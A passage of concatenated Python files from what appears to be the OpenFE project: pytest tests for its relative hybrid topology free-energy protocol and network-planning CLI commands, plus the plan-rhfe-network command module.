0 4 5 2 0 0 0 0 4 8 1 0 0 0 0 5 7 1 0 0 0 0 2 11 1 0 0 0 0 M END $$$$ """ def test_dry_core_element_change(tmpdir): benz = openfe.SmallMoleculeComponent(Chem.MolFromMolBlock(BENZ, removeHs=False)) pyr = openfe.SmallMoleculeComponent(Chem.MolFromMolBlock(PYRIDINE, removeHs=False)) mapping = openfe.LigandAtomMapping( benz, pyr, {0: 0, 1: 10, 2: 1, 3: 2, 4: 3, 5: 4, 6: 5, 8: 9, 9: 8, 10: 7, 11: 6} ) settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() settings.system_settings.nonbonded_method = 'nocutoff' protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) dag = protocol.create( stateA=openfe.ChemicalSystem({'ligand': benz,}), stateB=openfe.ChemicalSystem({'ligand': pyr,}), mapping={'whatamapping': mapping}, ) dag_unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): sampler = dag_unit.run(dry=True)['debug']['sampler'] system = sampler._hybrid_factory.hybrid_system assert system.getNumParticles() == 12 # Average mass between nitrogen and carbon assert system.getParticleMass(1) == 12.0127235 * omm_unit.amu # Get out the CustomNonbondedForce cnf = [f for f in system.getForces() if f.__class__.__name__ == 'CustomNonbondedForce'][0] # there should be no new unique atoms assert cnf.getInteractionGroupParameters(6) == [(), ()] # there should be one old unique atom (spare hydrogen from the benzene) assert cnf.getInteractionGroupParameters(7) == [(7,), (7,)] @pytest.mark.parametrize('method', ['repex', 'sams', 'independent']) def test_dry_run_ligand(benzene_system, toluene_system, benzene_to_toluene_mapping, method, tmpdir): # this might be a bit time consuming settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() settings.alchemical_sampler_settings.sampler_method = method settings.alchemical_sampler_settings.n_repeats = 1 protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) dag = protocol.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': benzene_to_toluene_mapping}, ) dag_unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): sampler = dag_unit.run(dry=True)['debug']['sampler'] assert isinstance(sampler, MultiStateSampler) assert sampler.is_periodic assert isinstance(sampler._thermodynamic_states[0].barostat, MonteCarloBarostat) assert sampler._thermodynamic_states[1].pressure == 1 * omm_unit.bar def test_dry_run_ligand_tip4p(benzene_system, toluene_system, benzene_to_toluene_mapping, tmpdir): """ Test that we can create a system with virtual sites in the environment (waters) """ settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() settings.forcefield_settings.forcefields = [ "amber/ff14SB.xml", # ff14SB protein force field "amber/tip4pew_standard.xml", # FF we are testsing with the fun VS "amber/phosaa10.xml", # Handles THE TPO ] settings.solvation_settings.solvent_padding = 1.0 * unit.nanometer settings.system_settings.nonbonded_cutoff = 0.9 * unit.nanometer settings.solvation_settings.solvent_model = 'tip4pew' settings.integrator_settings.reassign_velocities = True protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) dag = protocol.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': benzene_to_toluene_mapping}, ) dag_unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): sampler = dag_unit.run(dry=True)['debug']['sampler'] assert isinstance(sampler, MultiStateSampler) assert sampler._factory.hybrid_system def test_virtual_sites_no_reassign(benzene_system, toluene_system, benzene_to_toluene_mapping, tmpdir): """ Because of some as-of-yet not fully identified issue, not reassigning velocities will cause systems to NaN. See https://github.com/choderalab/openmmtools/issues/695 """ settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() settings.forcefield_settings.forcefields = [ "amber/ff14SB.xml", # ff14SB protein force field "amber/tip4pew_standard.xml", # FF we are testsing with the fun VS "amber/phosaa10.xml", # Handles THE TPO ] settings.solvation_settings.solvent_padding = 1.0 * unit.nanometer settings.system_settings.nonbonded_cutoff = 0.9 * unit.nanometer settings.solvation_settings.solvent_model = 'tip4pew' settings.integrator_settings.reassign_velocities = False protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) dag = protocol.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': benzene_to_toluene_mapping}, ) dag_unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): errmsg = "Simulations with virtual sites without velocity" with pytest.raises(ValueError, match=errmsg): dag_unit.run(dry=True) @pytest.mark.slow @pytest.mark.parametrize('method', ['repex', 'sams', 'independent']) def test_dry_run_complex(benzene_complex_system, toluene_complex_system, benzene_to_toluene_mapping, method, tmpdir): # this will be very time consuming settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() settings.alchemical_sampler_settings.sampler_method = method settings.alchemical_sampler_settings.n_repeats = 1 protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) dag = protocol.create( stateA=benzene_complex_system, stateB=toluene_complex_system, mapping={'ligand': benzene_to_toluene_mapping}, ) dag_unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): sampler = dag_unit.run(dry=True)['debug']['sampler'] assert isinstance(sampler, MultiStateSampler) assert sampler.is_periodic assert isinstance(sampler._thermodynamic_states[0].barostat, MonteCarloBarostat) assert sampler._thermodynamic_states[1].pressure == 1 * omm_unit.bar def test_lambda_schedule_default(): lambdas = openmm_rfe._rfe_utils.lambdaprotocol.LambdaProtocol(functions='default') assert len(lambdas.lambda_schedule) == 10 @pytest.mark.parametrize('windows', [11, 6, 9000]) def test_lambda_schedule(windows): lambdas = openmm_rfe._rfe_utils.lambdaprotocol.LambdaProtocol( functions='default', windows=windows) assert len(lambdas.lambda_schedule) == windows def test_hightimestep(benzene_vacuum_system, toluene_vacuum_system, benzene_to_toluene_mapping, tmpdir): settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() settings.forcefield_settings.hydrogen_mass = 1.0 settings.system_settings.nonbonded_method = 'nocutoff' p = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) dag = p.create( stateA=benzene_vacuum_system, stateB=toluene_vacuum_system, mapping={'ligand': benzene_to_toluene_mapping}, ) dag_unit = list(dag.protocol_units)[0] errmsg = "too large for hydrogen mass" with tmpdir.as_cwd(): with pytest.raises(ValueError, match=errmsg): dag_unit.run(dry=True) def test_n_replicas_not_n_windows(benzene_vacuum_system, toluene_vacuum_system, benzene_to_toluene_mapping, tmpdir): # For PR #125 we pin such that the number of lambda windows # equals the numbers of replicas used - TODO: remove limitation settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() # default lambda windows is 11 settings.alchemical_sampler_settings.n_replicas = 13 settings.system_settings.nonbonded_method = 'nocutoff' errmsg = ("Number of replicas 13 does not equal the number of " "lambda windows 11") with tmpdir.as_cwd(): with pytest.raises(ValueError, match=errmsg): p = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) dag = p.create( stateA=benzene_vacuum_system, stateB=toluene_vacuum_system, mapping={'ligand': benzene_to_toluene_mapping}, ) dag_unit = list(dag.protocol_units)[0] dag_unit.run(dry=True) def test_missing_ligand(benzene_system, benzene_to_toluene_mapping): # state B doesn't have a ligand component stateB = openfe.ChemicalSystem({'solvent': openfe.SolventComponent()}) p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) match_str = "missing alchemical components in stateB" with pytest.raises(ValueError, match=match_str): _ = p.create( stateA=benzene_system, stateB=stateB, mapping={'ligand': benzene_to_toluene_mapping}, ) def test_vaccuum_PME_error(benzene_vacuum_system, benzene_modifications, benzene_to_toluene_mapping): # state B doesn't have a solvent component (i.e. its vacuum) stateB = openfe.ChemicalSystem({'ligand': benzene_modifications['toluene']}) p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) errmsg = "PME cannot be used for vacuum transform" with pytest.raises(ValueError, match=errmsg): _ = p.create( stateA=benzene_vacuum_system, stateB=stateB, mapping={'ligand': benzene_to_toluene_mapping}, ) def test_incompatible_solvent(benzene_system, benzene_modifications, benzene_to_toluene_mapping): # the solvents are different stateB = openfe.ChemicalSystem( {'ligand': benzene_modifications['toluene'], 'solvent': openfe.SolventComponent( positive_ion='K', negative_ion='Cl')} ) p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) # We don't have a way to map non-ligand components so for now it # just triggers that it's not a mapped component errmsg = "missing alchemical components in stateA" with pytest.raises(ValueError, match=errmsg): _ = p.create( stateA=benzene_system, stateB=stateB, mapping={'ligand': benzene_to_toluene_mapping}, ) def test_mapping_mismatch_A(benzene_system, toluene_system, benzene_modifications): # the atom mapping doesn't refer to the ligands in the systems mapping = setup.LigandAtomMapping( componentA=benzene_system.components['ligand'], componentB=benzene_modifications['phenol'], componentA_to_componentB=dict()) p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) errmsg = (r"Unmapped alchemical component " r"SmallMoleculeComponent\(name=toluene\)") with pytest.raises(ValueError, match=errmsg): _ = p.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': mapping}, ) def test_mapping_mismatch_B(benzene_system, toluene_system, benzene_modifications): mapping = setup.LigandAtomMapping( componentA=benzene_modifications['phenol'], componentB=toluene_system.components['ligand'], componentA_to_componentB=dict()) p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) errmsg = (r"Unmapped alchemical component " r"SmallMoleculeComponent\(name=benzene\)") with pytest.raises(ValueError, match=errmsg): _ = p.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': mapping}, ) def test_complex_mismatch(benzene_system, toluene_complex_system, benzene_to_toluene_mapping): # only one complex p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) with pytest.raises(ValueError): _ = p.create( stateA=benzene_system, stateB=toluene_complex_system, mapping={'ligand': benzene_to_toluene_mapping}, ) def test_too_many_specified_mappings(benzene_system, toluene_system, benzene_to_toluene_mapping): # mapping dict requires 'ligand' key p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) errmsg = "A single LigandAtomMapping is expected for this Protocol" with pytest.raises(ValueError, match=errmsg): _ = p.create( stateA=benzene_system, stateB=toluene_system, mapping={'solvent': benzene_to_toluene_mapping, 'ligand': benzene_to_toluene_mapping,} ) def test_protein_mismatch(benzene_complex_system, toluene_complex_system, benzene_to_toluene_mapping): # hack one protein to be labelled differently prot = toluene_complex_system['protein'] alt_prot = openfe.ProteinComponent(prot.to_rdkit(), name='Mickey Mouse') alt_toluene_complex_system = openfe.ChemicalSystem( {'ligand': toluene_complex_system['ligand'], 'solvent': toluene_complex_system['solvent'], 'protein': alt_prot} ) p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) with pytest.raises(ValueError): _ = p.create( stateA=benzene_complex_system, stateB=alt_toluene_complex_system, mapping={'ligand': benzene_to_toluene_mapping}, ) def test_element_change_warning(atom_mapping_basic_test_files): # check a mapping with element change gets rejected early l1 = atom_mapping_basic_test_files['2-methylnaphthalene'] l2 = atom_mapping_basic_test_files['2-naftanol'] mapper = setup.LomapAtomMapper() mapping = next(mapper.suggest_mappings(l1, l2)) sys1 = openfe.ChemicalSystem( {'ligand': l1, 'solvent': openfe.SolventComponent()}, ) sys2 = openfe.ChemicalSystem( {'ligand': l2, 'solvent': openfe.SolventComponent()}, ) p = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings(), ) with pytest.warns(UserWarning, match="Element change"): _ = p.create( stateA=sys1, stateB=sys2, mapping={'ligand': mapping}, ) def test_ligand_overlap_warning(benzene_vacuum_system, toluene_vacuum_system, benzene_to_toluene_mapping, tmpdir): vac_settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() vac_settings.system_settings.nonbonded_method = 'nocutoff' protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=vac_settings, ) # update atom positions sysA = benzene_vacuum_system rdmol = benzene_vacuum_system['ligand'].to_rdkit() conf = rdmol.GetConformer() for atm in range(rdmol.GetNumAtoms()): x, y, z = conf.GetAtomPosition(atm) conf.SetAtomPosition(atm, Point3D(x+3, y, z)) new_ligand = openfe.SmallMoleculeComponent.from_rdkit( rdmol, name=benzene_vacuum_system['ligand'].name ) components = dict(benzene_vacuum_system.components) components['ligand'] = new_ligand sysA = openfe.ChemicalSystem(components) mapping = benzene_to_toluene_mapping.copy_with_replacements( componentA=new_ligand ) # Specifically check that the first pair throws a warning with pytest.warns(UserWarning, match='0 : 4 deviates'): dag = protocol.create( stateA=sysA, stateB=toluene_vacuum_system, mapping={'ligand': mapping}, ) dag_unit = list(dag.protocol_units)[0] with tmpdir.as_cwd(): dag_unit.run(dry=True) @pytest.fixture def solvent_protocol_dag(benzene_system, toluene_system, benzene_to_toluene_mapping): settings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() protocol = openmm_rfe.RelativeHybridTopologyProtocol( settings=settings, ) return protocol.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': benzene_to_toluene_mapping}, ) def test_unit_tagging(solvent_protocol_dag, tmpdir): # test that executing the Units includes correct generation and repeat info dag_units = solvent_protocol_dag.protocol_units with mock.patch('openfe.protocols.openmm_rfe.equil_rfe_methods.RelativeHybridTopologyProtocolUnit.run', return_value={'nc': 'file.nc', 'last_checkpoint': 'chk.nc'}): results = [] for u in dag_units: ret = u.execute(context=gufe.Context(tmpdir, tmpdir)) results.append(ret) repeats = set() for ret in results: assert isinstance(ret, gufe.ProtocolUnitResult) assert ret.outputs['generation'] == 0 repeats.add(ret.outputs['repeat_id']) # repeats are random ints, so check we got 3 individual numbers assert len(repeats) == 3 def test_gather(solvent_protocol_dag, tmpdir): # check .gather behaves as expected with mock.patch('openfe.protocols.openmm_rfe.equil_rfe_methods.RelativeHybridTopologyProtocolUnit.run', return_value={'nc': 'file.nc', 'last_checkpoint': 'chk.nc'}): dagres = gufe.protocols.execute_DAG(solvent_protocol_dag, shared_basedir=tmpdir, scratch_basedir=tmpdir, keep_shared=True) prot = openmm_rfe.RelativeHybridTopologyProtocol( settings=openmm_rfe.RelativeHybridTopologyProtocol.default_settings() ) res = prot.gather([dagres]) assert isinstance(res, openmm_rfe.RelativeHybridTopologyProtocolResult) class TestConstraintRemoval: @staticmethod def make_systems(ligA: openfe.SmallMoleculeComponent, ligB: openfe.SmallMoleculeComponent, constraints): """Make vacuum system for each, return Topology and System for each""" omm_forcefield_A = app.ForceField('tip3p.xml') smirnoff_A = SMIRNOFFTemplateGenerator( forcefield='openff-2.0.0.offxml', molecules=[ligA.to_openff()], ) omm_forcefield_A.registerTemplateGenerator(smirnoff_A.generator) omm_forcefield_B = app.ForceField('tip3p.xml') smirnoff_B = SMIRNOFFTemplateGenerator( forcefield='openff-2.0.0.offxml', molecules=[ligB.to_openff()], ) omm_forcefield_B.registerTemplateGenerator(smirnoff_B.generator) stateA_modeller = app.Modeller( ligA.to_openff().to_topology().to_openmm(), ensure_quantity(ligA.to_openff().conformers[0], 'openmm') ) stateA_topology = stateA_modeller.getTopology() stateA_system = omm_forcefield_A.createSystem( stateA_topology, nonbondedMethod=app.CutoffNonPeriodic, nonbondedCutoff=ensure_quantity(1.1 * unit.nm, 'openmm'), constraints=constraints, rigidWater=True, hydrogenMass=None, removeCMMotion=True, ) stateB_topology, _ = openmm_rfe._rfe_utils.topologyhelpers.combined_topology( stateA_topology, ligB.to_openff().to_topology().to_openmm(), exclude_resids=np.array([r.index for r in list(stateA_topology.residues())]) ) # since we're doing a swap of the only molecule, this is equivalent: # stateB_topology = app.Modeller( # sysB['ligand'].to_openff().to_topology().to_openmm(), # ensure_quantity(sysB['ligand'].to_openff().conformers[0], 'openmm') # ) stateB_system = omm_forcefield_B.createSystem( stateB_topology, nonbondedMethod=app.CutoffNonPeriodic, nonbondedCutoff=ensure_quantity(1.1 * unit.nm, 'openmm'), constraints=constraints, rigidWater=True, hydrogenMass=None, removeCMMotion=True, ) return stateA_topology, stateA_system, stateB_topology, stateB_system @pytest.mark.parametrize('reverse', [False, True]) def test_remove_constraints_lengthchange(self, benzene_modifications, reverse): # check that mappings are correctly corrected to avoid changes in # constraint length # use a phenol->toluene transform to test ligA = benzene_modifications['phenol'] ligB = benzene_modifications['toluene'] mapping = {0: 4, 1: 5, 2: 6, 3: 7, 4: 8, 5: 9, 6: 10, 7: 11, 8: 12, 9: 13, 10: 1, 11: 14, 12: 2} expected = 10 # this should get removed from mapping if reverse: ligA, ligB = ligB, ligA expected = mapping[expected] mapping = {v: k for k, v in mapping.items()} mapping = setup.LigandAtomMapping( componentA=ligA, componentB=ligB, # this is default lomap # importantly the H in -OH maps to one of the -CH3 # this constraint will change length componentA_to_componentB=mapping, ) stateA_topology, stateA_system, stateB_topology, stateB_system = self.make_systems( ligA, ligB, constraints=app.HBonds) # this normally requires global indices, however as ligandA/B is only thing # in system, this mapping is still correct ret = openmm_rfe._rfe_utils.topologyhelpers._remove_constraints( mapping.componentA_to_componentB, stateA_system, stateA_topology, stateB_system, stateB_topology, ) # all of this just to check that an entry was removed from the mapping # the removed constraint assert expected not in ret # but only one constraint should be removed assert len(ret) == len(mapping.componentA_to_componentB) - 1 @pytest.mark.parametrize('reverse', [False, True]) def test_constraint_to_harmonic(self, benzene_modifications, reverse): ligA = benzene_modifications['benzene'] ligB = benzene_modifications['toluene'] expected = 10 mapping = {0: 4, 1: 5, 2: 6, 3: 7, 4: 8, 5: 9, 6: 10, 7: 11, 8: 12, 9: 13, 10: 2, 11: 14} if reverse: ligA, ligB = ligB, ligA expected = mapping[expected] mapping = {v: k for k, v in mapping.items()} # this maps a -H to a -C, so the constraint on -H turns into a C-C bond # H constraint is A(4, 10) and C-C is B(8, 2) mapping = setup.LigandAtomMapping( componentA=ligA, componentB=ligB, componentA_to_componentB=mapping ) stateA_topology, stateA_system, stateB_topology, stateB_system = self.make_systems( ligA, ligB, constraints=app.HBonds) ret = openmm_rfe._rfe_utils.topologyhelpers._remove_constraints( mapping.componentA_to_componentB, stateA_system, stateA_topology, stateB_system, stateB_topology, ) assert expected not in ret assert len(ret) == len(mapping.componentA_to_componentB) - 1 @pytest.mark.parametrize('reverse', [False, True]) def test_constraint_to_harmonic_nitrile(self, benzene_modifications, reverse): # same as previous test, but ligands are swapped # this follows a slightly different code path ligA = benzene_modifications['toluene'] ligB = benzene_modifications['benzonitrile'] if reverse: ligA, ligB = ligB, ligA mapping = {0: 0, 2: 1, 4: 2, 5: 3, 6: 4, 7: 5, 8: 6, 9: 7, 10: 8, 11: 9, 12: 10, 13: 11, 14: 12} if reverse: mapping = {v: k for k, v in mapping.items()} mapping = setup.LigandAtomMapping( componentA=ligA, componentB=ligB, componentA_to_componentB=mapping, ) stateA_topology, stateA_system, stateB_topology, stateB_system = self.make_systems( ligA, ligB, constraints=app.HBonds) ret = openmm_rfe._rfe_utils.topologyhelpers._remove_constraints( mapping.componentA_to_componentB, stateA_system, stateA_topology, stateB_system, stateB_topology, ) assert 0 not in ret assert len(ret) == len(mapping.componentA_to_componentB) - 1 @pytest.mark.parametrize('reverse', [False, True]) def test_non_H_constraint_fail(self, benzene_modifications, reverse): # here we specify app.AllBonds constraints # in this transform, the C-C[#N] to C-C[=O] constraint changes length # indices A(8, 2) to B(6, 1) # there's no Hydrogen involved so we can't trivially figure out the # best atom to remove from mapping # (but it would be 2 [& 1] in this case..) ligA = benzene_modifications['toluene'] ligB = benzene_modifications['benzonitrile'] mapping = {0: 0, 2: 1, 4: 2, 5: 3, 6: 4, 7: 5, 8: 6, 9: 7, 10: 8, 11: 9, 12: 10, 13: 11, 14: 12} if reverse: ligA, ligB = ligB, ligA mapping = {v: k for k, v in mapping.items()} mapping = setup.LigandAtomMapping( componentA=ligA, componentB=ligB, componentA_to_componentB=mapping, ) stateA_topology, stateA_system, stateB_topology, stateB_system = self.make_systems( ligA, ligB, constraints=app.AllBonds) with pytest.raises(ValueError, match='resolve constraint') as e: _ = openmm_rfe._rfe_utils.topologyhelpers._remove_constraints( mapping.componentA_to_componentB, stateA_system, stateA_topology, stateB_system, stateB_topology, ) if not reverse: assert 'A: 2-8 B: 1-6' in str(e) else: assert 'A: 1-6 B: 2-8' in str(e) @pytest.fixture(scope='session') def tyk2_xml(tmp_path_factory): with resources.path('openfe.tests.data.openmm_rfe', 'ligand_23.sdf') as f: lig23 = openfe.SmallMoleculeComponent.from_sdf_file(str(f)) with resources.path('openfe.tests.data.openmm_rfe', 'ligand_55.sdf') as f: lig55 = openfe.SmallMoleculeComponent.from_sdf_file(str(f)) mapping = setup.LigandAtomMapping( componentA=lig23, componentB=lig55, # perses mapper output componentA_to_componentB={0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 7, 8: 8, 9: 9, 10: 10, 11: 11, 12: 12, 13: 13, 14: 14, 15: 15, 16: 16, 17: 17, 18: 18, 23: 19, 26: 20, 27: 21, 28: 22, 29: 23, 30: 24, 31: 25, 32: 26, 33: 27} ) settings: openmm_rfe.RelativeHybridTopologyProtocolSettings = openmm_rfe.RelativeHybridTopologyProtocol.default_settings() settings.forcefield_settings.small_molecule_forcefield = 'openff-2.0.0' settings.system_settings.nonbonded_method = 'nocutoff' settings.forcefield_settings.hydrogen_mass = 3.0 settings.alchemical_sampler_settings.n_repeats = 1 protocol = openmm_rfe.RelativeHybridTopologyProtocol(settings) dag = protocol.create( stateA=openfe.ChemicalSystem({'ligand': lig23}), stateB=openfe.ChemicalSystem({'ligand': lig55}), mapping={'ligand': mapping}, ) pu = list(dag.protocol_units)[0] tmp = tmp_path_factory.mktemp('xml_reg') dryrun = pu.run(dry=True, shared_basepath=tmp) system = dryrun['debug']['sampler']._hybrid_factory.hybrid_system return ET.fromstring(XmlSerializer.serialize(system)) @pytest.fixture(scope='session') def tyk2_reference_xml(): with resources.path('openfe.tests.data.openmm_rfe', 'reference.xml') as f: with open(f, 'r') as i: xmldata = i.read() return ET.fromstring(xmldata) @pytest.mark.slow class TestTyk2XmlRegression: """Generates Hybrid system XML and performs regression test""" @staticmethod def test_particles(tyk2_xml, tyk2_reference_xml): # < Particle mass = "10.018727" / > particles = tyk2_xml.find('Particles') assert particles ref_particles = tyk2_reference_xml.find('Particles') for a, b in zip(particles, ref_particles): assert float(a.get('mass')) == pytest.approx(float(b.get('mass'))) @staticmethod def test_constraints(tyk2_xml, tyk2_reference_xml): # <Constraint d=".1085358495916" p1="12" p2="31"/> constraints = tyk2_xml.find('Constraints') assert constraints ref_constraints = tyk2_reference_xml.find('Constraints') for a, b in zip(constraints, ref_constraints): assert a.get('p1') == b.get('p1') assert a.get('p2') == b.get('p2') assert float(a.get('d')) == pytest.approx(float(b.get('d'))) <file_sep>from unittest import mock import pytest import importlib import os from click.testing import CliRunner from openfecli.commands.plan_rbfe_network import ( plan_rbfe_network, plan_rbfe_network_main, ) @pytest.fixture def mol_dir_args(): with importlib.resources.path( "openfe.tests.data.openmm_rfe", "__init__.py" ) as file_path: ofe_dir_path = os.path.dirname(file_path) return ["--molecules", ofe_dir_path] @pytest.fixture def protein_args(): with importlib.resources.path( "openfe.tests.data", "181l_only.pdb" ) as file_path: return ["--protein", file_path] def print_test_with_file( mapping_scorer, ligand_network_planner, small_molecules, solvent, protein, ): print(mapping_scorer) print(ligand_network_planner) print(small_molecules) print(solvent) print(protein) def test_plan_rbfe_network_main(): import os, glob from gufe import ( ProteinComponent, SmallMoleculeComponent, SolventComponent, ) from openfe.setup import ( LomapAtomMapper, lomap_scorers, ligand_network_planning, ) with importlib.resources.path( "openfe.tests.data.openmm_rfe", "__init__.py" ) as file_path: smallM_components = [ SmallMoleculeComponent.from_sdf_file(f) for f in glob.glob(os.path.dirname(file_path) + "/*.sdf") ] with importlib.resources.path( "openfe.tests.data", "181l_only.pdb" ) as file_path: protein_compontent = ProteinComponent.from_pdb_file( os.path.dirname(file_path) + "/181l_only.pdb" ) solvent_component = SolventComponent() alchemical_network, ligand_network = plan_rbfe_network_main( mapper=LomapAtomMapper(), mapping_scorer=lomap_scorers.default_lomap_score, ligand_network_planner=ligand_network_planning.generate_minimal_spanning_network, small_molecules=smallM_components, solvent=solvent_component, protein=protein_compontent, cofactors=[], ) print(alchemical_network) def test_plan_rbfe_network(mol_dir_args, protein_args): """ smoke test """ args = mol_dir_args + protein_args expected_output_always = [ "RBFE-NETWORK PLANNER", "Protein: ProteinComponent(name=)", "Solvent: SolventComponent(name=O, Na+, Cl-)", "- tmp_network.json", ] # we can get these in either order: 22 first or 55 first expected_output_1 = [ "Small Molecules: SmallMoleculeComponent(name=ligand_23) SmallMoleculeComponent(name=ligand_55)", "- easy_rbfe_ligand_23_complex_ligand_55_complex.json", "- easy_rbfe_ligand_23_solvent_ligand_55_solvent.json", ] expected_output_2 = [ "Small Molecules: SmallMoleculeComponent(name=ligand_55) SmallMoleculeComponent(name=ligand_23)", "- easy_rbfe_ligand_55_complex_ligand_23_complex.json", "- easy_rbfe_ligand_55_solvent_ligand_23_solvent.json", ] patch_base = ( "openfecli.commands.plan_rbfe_network." ) args += ["-o", "tmp_network"] patch_loc = patch_base + "plan_rbfe_network" patch_func = print_test_with_file runner = CliRunner() with mock.patch(patch_loc, patch_func): with runner.isolated_filesystem(): result = runner.invoke(plan_rbfe_network, args) print(result.output) assert result.exit_code == 0 for line in expected_output_always: assert line in result.output for l1, l2 in zip(expected_output_1, expected_output_2): assert l1 in result.output or l2 in result.output @pytest.fixture def eg5_files(): with importlib.resources.files('openfe.tests.data.eg5') as p: pdb_path = str(p.joinpath('eg5_protein.pdb')) lig_path = str(p.joinpath('eg5_ligands.sdf')) cof_path = str(p.joinpath('eg5_cofactor.sdf')) yield pdb_path, lig_path, cof_path def test_plan_rbfe_network_cofactors(eg5_files): runner = CliRunner() args = [ '-p', eg5_files[0], '-M', eg5_files[1], '-C', eg5_files[2], ] with runner.isolated_filesystem(): result = runner.invoke(plan_rbfe_network, args) print(result.output) assert result.exit_code == 0 <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import click from typing import List from openfecli.utils import write, print_duration from openfecli import OFECommandPlugin from openfecli.parameters import ( MOL_DIR, MAPPER, OUTPUT_DIR, ) from openfecli.plan_alchemical_networks_utils import plan_alchemical_network_output def plan_rhfe_network_main( mapper, mapping_scorer, ligand_network_planner, small_molecules, solvent, ): """Utility method to plan a relative hydration free energy network. Parameters ---------- mapper : LigandAtomMapper the mapper to use to generate the mapping mapping_scorer : Callable scorer, that evaluates the generated mappings ligand_network_planner : Callable function building the network from the ligands, mappers and mapping_scorer small_molecules : Iterable[SmallMoleculeComponent] molecules of the system solvent : SolventComponent Solvent component used for solvation Returns ------- Tuple[AlchemicalNetwork, LigandNetwork] Alchemical network with protocol for executing simulations, and the associated ligand network """ from openfe.setup.alchemical_network_planner.relative_alchemical_network_planner import ( RHFEAlchemicalNetworkPlanner ) network_planner = RHFEAlchemicalNetworkPlanner( mappers=[mapper], mapping_scorer=mapping_scorer, ligand_network_planner=ligand_network_planner, ) alchemical_network = network_planner( ligands=small_molecules, solvent=solvent ) return alchemical_network, network_planner._ligand_network @click.command( "plan-rhfe-network", short_help=( "Plan a relative hydration free energy network, saved as JSON files " "for the quickrun command." ), ) @MOL_DIR.parameter( required=True, help=MOL_DIR.kwargs["help"] + " Any number of sdf paths." ) @OUTPUT_DIR.parameter( help=OUTPUT_DIR.kwargs["help"] + " Defaults to `./alchemicalNetwork`.", default="alchemicalNetwork", ) @print_duration def plan_rhfe_network(molecules: List[str], output_dir: str): """ Plan a relative hydration free energy network, saved as JSON files for the quickrun command. This tool is an easy way to setup a RHFE-Calculation Campaign. This can be useful for testing our tools. Plan-rhfe-network finds a reasonable network of transformations and adds the openfe rbfe protocol of year one to the transformations. The output of the command can be used, in order to run the planned transformations with the quickrun tool. For more sophisticated setups, please consider using the python layer of openfe. The tool will parse the input and run the rbfe network planner, which executes following steps: 1. generate an atom mapping for all possible ligand pairs. (default: Lomap) 2. score all atom mappings. (default: Lomap default score) 3. build network form all atom mapping scores (default: minimal spanning graph) The generated Network will be stored in a folder containing for each transformation a JSON file, that can be run with quickrun (or other future tools). """ write("RHFE-NETWORK PLANNER") write("______________________") write("") write("Parsing in Files: ") from gufe import SolventComponent from openfe.setup.atom_mapping.lomap_scorers import ( default_lomap_score, ) from openfe.setup import LomapAtomMapper from openfe.setup.ligand_network_planning import ( generate_minimal_spanning_network, ) # INPUT write("\tGot input: ") small_molecules = MOL_DIR.get(molecules) write( "\t\tSmall Molecules: " + " ".join([str(sm) for sm in small_molecules]) ) solvent = SolventComponent() write("\t\tSolvent: " + str(solvent)) write("") write("Using Options:") mapper_obj = LomapAtomMapper(time=20, threed=True, element_change=False, max3d=1) write("\tMapper: " + str(mapper_obj)) # TODO: write nice parameter mapping_scorer = default_lomap_score write("\tMapping Scorer: " + str(mapping_scorer)) # TODO: write nice parameter ligand_network_planner = generate_minimal_spanning_network write("\tNetworker: " + str(ligand_network_planner)) write("") # DO write("Planning RHFE-Campaign:") alchemical_network, ligand_network = plan_rhfe_network_main( mapper=mapper_obj, mapping_scorer=mapping_scorer, ligand_network_planner=ligand_network_planner, small_molecules=small_molecules, solvent=solvent, ) write("\tDone") write("") # OUTPUT write("Output:") write("\tSaving to: " + output_dir) plan_alchemical_network_output( alchemical_network=alchemical_network, ligand_network=ligand_network, folder_path=OUTPUT_DIR.get(output_dir), ) PLUGIN = OFECommandPlugin( command=plan_rhfe_network, section="Network Planning", requires_ofe=(0, 3) ) 